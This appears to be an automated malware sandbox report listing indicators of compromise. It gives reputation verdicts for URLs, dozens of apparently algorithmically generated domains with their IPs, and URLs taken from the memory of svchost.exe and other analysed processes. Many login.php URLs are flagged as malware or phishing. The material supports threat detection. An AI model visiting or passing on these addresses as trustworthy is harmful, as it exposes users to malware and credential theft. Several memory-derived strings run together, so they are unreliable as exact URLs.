http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf0%Avira URL Cloudsafe
http://pupydeq.com/login.php100%Avira URL Cloudmalware
http://106.15.137.66:8001/dh/147287063_637385.html0%Avira URL Cloudsafe
http://lygyvuj.com/login.php100%Avira URL Cloudphishing
http://galyqaz.com/Commercial_Printing_Services.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUG100%Avira URL Cloudmalware
http://ww1.lysyfyj.com/?fp=ZbSrv2i18YnNfPNSqSsC6n0jQLvcDPBy65hKrYcVeZdyOk55NkMmURDujLfYrzEMz5BE5QmQN100%Avira URL Cloudphishing
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes0%Avira URL Cloudsafe
http://galyqaz.com/Printing_Inks.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8yGzAG100%Avira URL Cloudmalware
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdzun90%Avira URL Cloudsafe
http://ww6.galyqaz.com/GlobalSign100%Avira URL Cloudmalware
https://login.microsoftonline.com/ppsecure/ResolveUser.srfsuer0%Avira URL Cloudsafe
http://schemas.xmlsoap.org/ws/2005/02/trustn0%Avira URL Cloudsafe
http://www.google.comtD0%Avira URL Cloudsafe
http://gadyciz.com/login.php100%Avira URL Cloudmalware
http://ww1.lysyfyj.com/t100%Avira URL Cloudmalware
http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcbser-AgentMozilla/4.0100%Avira URL Cloudmalware
https://dts.gnpge.com0%Avira URL Cloudsafe
http://106.15.137.66:8001/dh/147287063_637385.htmlindex8?d=lyrysor.com0%Avira URL Cloudsafe
http://gatyfus.com/login.phpcom/login.php100%Avira URL Cloudmalware
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:0%Avira URL Cloudsafe
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff0%Avira URL Cloudsafe
http://lysyfyj.com/login.php?ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cC100%Avira URL Cloudmalware
http://schemas.xmlsoap.org/ws/2005/02/scrf0%Avira URL Cloudsafe
http://gatyhub.com/login.php100%Avira URL Cloudmalware
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf0%Avira URL Cloudsafe
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID0%Avira URL Cloudsafe
http://i3.cdn-image.com/__media__/pics/28903/search.png)0%Avira URL Cloudsafe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA0%Avira URL Cloudsafe
https://cdn.consentmanager.net0%Avira URL Cloudsafe
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf0%Avira URL Cloudsafe
https://lysyvan.com/100%Avira URL Cloudmalware
https://lysyvan.com/wp-json/100%Avira URL Cloudmalware

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
pupydeq.com
13.248.169.48
truetrue
    		unknown
    pupycag.com
    		18.208.156.248
    		truetrue
      		unknown
      lyvyxor.com
      		208.100.26.245
      		truetrue
        		unknown
        77026.bodis.com
        		199.59.243.226
        		truefalse
          		unknown
          lysyvan.com
          		188.114.97.3
          		truetrue
            		unknown
            galynuh.com
            		64.225.91.73
            		truetrue
              		unknown
              parkingpage.namecheap.com
              		91.195.240.19
              		truetrue
                		unknown
                qegyhig.com
                		188.114.97.3
                		truetrue
                  		unknown
                  gatyfus.com
                  		85.17.31.82
                  		truetrue
                    		unknown
                    vonypom.com
                    		18.208.156.248
                    		truetrue
                      		unknown
                      82957.bodis.com
                      		199.59.243.226
                      		truefalse
                        		unknown
                        puzylyp.com
                        		3.64.163.50
                        		truetrue
                          		unknown
                          qexyhuv.com
                          		15.197.240.20
                          		truetrue
                            		unknown
                            pltraffic7.com
                            		72.52.179.174
                            		truetrue
                              		unknown
                              gadyciz.com
                              		44.221.84.105
                              		truetrue
                                		unknown
                                gadyniw.com
                                		154.212.231.82
                                		truetrue
                                  		unknown
                                  lyxynyx.com
                                  		103.224.212.210
                                  		truetrue
                                    		unknown
                                    www.sedoparking.com
                                    		64.190.63.136
                                    		truefalse
                                      		unknown
                                      lygyvuj.com
                                      		52.34.198.229
                                      		truetrue
                                        		unknown
                                        gahyqah.com
                                        		23.253.46.64
                                        		truetrue
                                          		unknown
                                          vocyzit.com
                                          		44.221.84.105
                                          		truetrue
                                            		unknown
                                            galyqaz.com
                                            		199.191.50.83
                                            		truetrue
                                              		unknown
                                              vofycot.com
                                              		103.224.182.252
                                              		truetrue
                                                		unknown
                                                qetyhyg.com
                                                		64.225.91.73
                                                		truetrue
                                                  		unknown
                                                  vojyqem.com
                                                  		172.234.222.143
                                                  		truetrue
                                                    		unknown
                                                    gahyhiz.com
                                                    		44.221.84.105
                                                    		truetrue
                                                      		unknown
                                                      qetyfuv.com
                                                      		44.221.84.105
                                                      		truetrue
                                                        		unknown
                                                        9145.searchmagnified.com
                                                        		208.91.196.145
                                                        		truefalse
                                                          		unknown
                                                          lysyfyj.com
                                                          		69.162.80.57
                                                          		truetrue
                                                            		unknown
                                                            gtm-sg-6l13ukk0m05.qu200.com
                                                            		103.150.11.230
                                                            		truetrue
                                                              		unknown
                                                              lymyxid.com
                                                              		3.94.10.34
                                                              		truetrue
                                                                		unknown
                                                                qegyval.com
                                                                		154.85.183.50
                                                                		truetrue
                                                                  		unknown
                                                                  gatyzoz.com
                                                                  		unknown
                                                                  		unknowntrue
                                                                    		unknown
                                                                    lykygaj.com
                                                                    		unknown
                                                                    		unknowntrue
                                                                      		unknown
                                                                      qedyxel.com
                                                                      		unknown
                                                                      		unknowntrue
                                                                        		unknown
                                                                        qedyqup.com
                                                                        		unknown
                                                                        		unknowntrue
                                                                          		unknown
                                                                          qekyluv.com
                                                                          		unknown
                                                                          		unknowntrue
                                                                            		unknown
                                                                            gatyrez.com
                                                                            		unknown
                                                                            		unknowntrue
                                                                              		unknown
                                                                              vofybic.com
                                                                              		unknown
                                                                              		unknowntrue
                                                                                		unknown
                                                                                pujydag.com
                                                                                		unknown
                                                                                		unknowntrue
                                                                                  		unknown
                                                                                  vojykom.com
                                                                                  		unknown
                                                                                  		unknowntrue
                                                                                    		unknown
                                                                                    qetysuq.com
                                                                                    		unknown
                                                                                    		unknowntrue
                                                                                      		unknown
                                                                                      vonyzut.com
                                                                                      		unknown
                                                                                      		unknowntrue
                                                                                        		unknown
                                                                                        pufyjuq.com
                                                                                        		unknown
                                                                                        		unknowntrue
                                                                                          		unknown
                                                                                          pujytug.com
                                                                                          		unknown
                                                                                          		unknowntrue
                                                                                            		unknown
                                                                                            galyhiw.com
                                                                                            		unknown
                                                                                            		unknowntrue
                                                                                              		unknown
                                                                                              lykygun.com
                                                                                              		unknown
                                                                                              		unknowntrue
                                                                                                		unknown
                                                                                                vopymyc.com
                                                                                                		unknown
                                                                                                		unknowntrue
                                                                                                  		unknown
                                                                                                  gatyfaz.com
                                                                                                  		unknown
                                                                                                  		unknowntrue
                                                                                                    		unknown
                                                                                                    vojycit.com
                                                                                                    		unknown
                                                                                                    		unknowntrue
                                                                                                      		unknown
                                                                                                      lyvymej.com
                                                                                                      		unknown
                                                                                                      		unknowntrue
                                                                                                        		unknown
                                                                                                        lygyvar.com
                                                                                                        		unknown
                                                                                                        		unknowntrue
                                                                                                          		unknown
                                                                                                          purygiv.com
                                                                                                          		unknown
                                                                                                          		unknowntrue
                                                                                                            		unknown
                                                                                                            gahykeb.com
                                                                                                            		unknown
                                                                                                            		unknowntrue
                                                                                                              		unknown
                                                                                                              purymog.com
                                                                                                              		unknown
                                                                                                              		unknowntrue
                                                                                                                		unknown
                                                                                                                gadyzib.com
                                                                                                                		unknown
                                                                                                                		unknowntrue
                                                                                                                  		unknown
                                                                                                                  ganyqow.com
                                                                                                                  		unknown
                                                                                                                  		unknowntrue
                                                                                                                    		unknown
                                                                                                                    lyxysun.com
                                                                                                                    		unknown
                                                                                                                    		unknowntrue
                                                                                                                      		unknown
                                                                                                                      puzyjyg.com
                                                                                                                      		unknown
                                                                                                                      		unknowntrue
                                                                                                                        		unknown
                                                                                                                        vopydek.com
                                                                                                                        		unknown
                                                                                                                        		unknowntrue
                                                                                                                          		unknown
                                                                                                                          qexyfuq.com
                                                                                                                          		unknown
                                                                                                                          		unknowntrue
                                                                                                                            		unknown
                                                                                                                            gatykyh.com
                                                                                                                            		unknown
                                                                                                                            		unknowntrue
                                                                                                                              		unknown
                                                                                                                              vocykem.com
                                                                                                                              		unknown
                                                                                                                              		unknowntrue
                                                                                                                                		unknown
                                                                                                                                gahynus.com
                                                                                                                                		unknown
                                                                                                                                		unknowntrue
                                                                                                                                  		unknown
                                                                                                                                  pumypop.com
                                                                                                                                  		unknown
                                                                                                                                  		unknowntrue
                                                                                                                                    		unknown
                                                                                                                                    lyvysur.com
                                                                                                                                    		unknown
                                                                                                                                    		unknowntrue
                                                                                                                                      		unknown
                                                                                                                                      puzypav.com
                                                                                                                                      		unknown
                                                                                                                                      		unknowntrue
                                                                                                                                        		unknown
                                                                                                                                        galypob.com
                                                                                                                                        		unknown
                                                                                                                                        		unknowntrue
                                                                                                                                          		unknown
                                                                                                                                          gacyqoz.com
                                                                                                                                          		unknown
                                                                                                                                          		unknowntrue
                                                                                                                                            		unknown
                                                                                                                                            lykywid.com
                                                                                                                                            		unknown
                                                                                                                                            		unknowntrue
                                                                                                                                              		unknown
                                                                                                                                              lykytin.com
                                                                                                                                              		unknown
                                                                                                                                              		unknowntrue
                                                                                                                                                		unknown
                                                                                                                                                vofyref.com
                                                                                                                                                		unknown
                                                                                                                                                		unknowntrue
                                                                                                                                                  		unknown
                                                                                                                                                  qekytig.com
                                                                                                                                                  		unknown
                                                                                                                                                  		unknowntrue
                                                                                                                                                    		unknown
                                                                                                                                                    vocyzek.com
                                                                                                                                                    		unknown
                                                                                                                                                    		unknowntrue
                                                                                                                                                      		unknown
                                                                                                                                                      puvypoq.com
                                                                                                                                                      		unknown
                                                                                                                                                      		unknowntrue
                                                                                                                                                        		unknown
                                                                                                                                                        puvybeg.com
                                                                                                                                                        		unknown
                                                                                                                                                        		unknowntrue
                                                                                                                                                          		unknown
                                                                                                                                                          pupydig.com
                                                                                                                                                          		unknown
                                                                                                                                                          		unknowntrue
                                                                                                                                                            		unknown
                                                                                                                                                            pupyguq.com
                                                                                                                                                            		unknown
                                                                                                                                                            		unknowntrue
                                                                                                                                                              		unknown
                                                                                                                                                              qedyqal.com
                                                                                                                                                              		unknown
                                                                                                                                                              		unknowntrue
                                                                                                                                                                		unknown
                                                                                                                                                                vowymom.com
                                                                                                                                                                		unknown
                                                                                                                                                                		unknowntrue
                                                                                                                                                                  		unknown
                                                                                                                                                                  purypol.com
                                                                                                                                                                  		unknown
                                                                                                                                                                  		unknowntrue
                                                                                                                                                                    		unknown
                                                                                                                                                                    ganypeb.com
                                                                                                                                                                    		unknown
                                                                                                                                                                    		unknowntrue
                                                                                                                                                                      		unknown
                                                                                                                                                                      vopymit.com
                                                                                                                                                                      		unknown
                                                                                                                                                                      		unknowntrue
                                                                                                                                                                        		unknown
                                                                                                                                                                        vowyguf.com
                                                                                                                                                                        		unknown
                                                                                                                                                                        		unknowntrue
                                                                                                                                                                          		unknown
                                                                                                                                                                          pupytiq.com
                                                                                                                                                                          		unknown
                                                                                                                                                                          		unknowntrue
                                                                                                                                                                            		unknown
                                                                                                                                                                            lymyfoj.com
                                                                                                                                                                            		unknown
                                                                                                                                                                            		unknowntrue
                                                                                                                                                                              		unknown
                                                                                                                                                                              vowyzuf.com
                                                                                                                                                                              		unknown
                                                                                                                                                                              		unknowntrue
                                                                                                                                                                                		unknown
                                                                                                                                                                                gatyruw.com
                                                                                                                                                                                		unknown
                                                                                                                                                                                		unknowntrue
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  qebynyg.com
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  		unknowntrue
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    puzymev.com
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    		unknowntrue
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      pupymol.com
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      		unknowntrue
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        vojycif.com
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        		unknowntrue
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          qebyvyl.com
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          		unknowntrue
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            lymysan.com
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            		unknowntrue
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              qekynuq.com
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              		unknowntrue
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                puryjil.com
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                		unknowntrue
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  puvytuv.com
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  		unknowntrue
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    galyzus.com
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    		unknowntrue
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      gadyfuh.com
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      		unknowntrue
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        vofycyk.com
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        		unknowntrue
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          Contacted URLs

                                                                                                                                                                                                          NameMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                          http://ww16.vofycot.com/login.php?sub1=20240824-0243-077d-8f61-d4c58a818681false
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcbfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyvyxor.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyrysor.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww1.lysyfyj.com/false
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puzylyp.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lyxynyx.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww16.vofycot.com/login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60false
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://vojyqem.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galynuh.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qetyhyg.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lymyxid.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gadyniw.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gahyhiz.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qegyval.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://pupydeq.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://106.15.137.66:8001/dh/147287063_637385.htmlfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://lygyvuj.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: phishing
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gadyciz.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://gatyhub.com/login.phptrue
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown

                                                                                                                                                                                                          URLs from Memory and Binaries

                                                                                                                                                                                                          NameSourceMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                          http://www.google.comtwsvchost.exe, 00000002.00000003.2600887126.0000000002BB7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://nojs.domaincntrol.comsvchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, login[2].htm0.2.dr, login[3].htm.2.dr, login[2].htm.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/scAAAAAsvchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdXdgjsvchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://www.symantec.comroundwood.exe, svchost.exe.0.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/ResolveUser.srfsvchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-svchost.exe, 0000000E.00000003.2620633015.0000017E5C383000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C383000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://Passport.NET/tbAsvchost.exe, 0000000E.00000003.2559787764.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2568836283.0000017E5C378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://puzylyp.com/login.phpA:oOzTQCDSVNrWDmuGqzFbKRbZs.exe, 00000004.00000002.2718622686.00000000011EF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAsvchost.exe, 0000000E.00000003.2497798842.0000017E5C30F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498088928.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496908758.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708202972.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2495670972.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620568756.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2692130813.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2607005185.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721724752.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663679549.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2496072630.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2737081538.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708824809.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663951879.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2721936085.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2692062029.0000017E5C307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2663822263.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2593122356.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2620465897.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2497932591.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2498749154.0000017E5C30E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://galyqaz.com/Printing_Machines.cfm?fp=SW2zOGluRjzYOmr3oBHHfKLjoB3z%2FhRVuwyTtS%2BUGtsfisSsLM8ylogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://ww25.lyxynyx.com/login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3cosvchost.exe, 00000002.00000002.3272732597.0000000002B37000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://Passport.NET/STS&lt;/ds:KeyName&gt;&ltsvchost.exe, 0000000E.00000002.3272292196.0000017E5BB02000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/svchost.exe, 0000000E.00000002.3273209037.0000017E5CA00000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://www.google.comsvchost.exe, 00000002.00000003.3004421327.0000000002BAF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2921538200.0000000002BAF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905676121.0000000002BAF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://domaincntrol.com/?orighost=svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, login[2].htm0.2.dr, login[3].htm.2.dr, login[2].htm.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issuesvchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2login[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otflogin[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAAsvchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdssvchost.exe, 0000000E.00000003.2735438447.0000017E5C37B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634539675.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/devicechangecredential.srfsvchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2004/09/policy~svchost.exe, 0000000E.00000002.3272985921.0000017E5C35F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://qegyval.com/login.php29svchost.exe, 00000002.00000002.3273124458.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAsvchost.exe, 0000000E.00000003.2559787764.0000017E5C376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://login.microsoftonline.com/ppsecure/EnumerateDevices.srfsvchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trustAAAAAsvchost.exe, 0000000E.00000003.2570549062.0000017E5C37A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://account.live.com/InlineSignup.aspx?iww=1&id=80502svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          https://account.live.com/inlinesignup.aspx?iww=1&id=80600ssuersvchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://InquiryGrid.com/sk-domsale.php?dom=galyqaz.com&eds=YnJva2VyYWdlQHNrZW56by5jb20%3D&_isk_=7444&login[2].htm1.2.drfalse
                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          http://Passport.NET/tb_svchost.exe, 0000000E.00000002.3271960593.0000017E5BAB4000.00000004.00000020.00020000.00000000.sdmpfalse
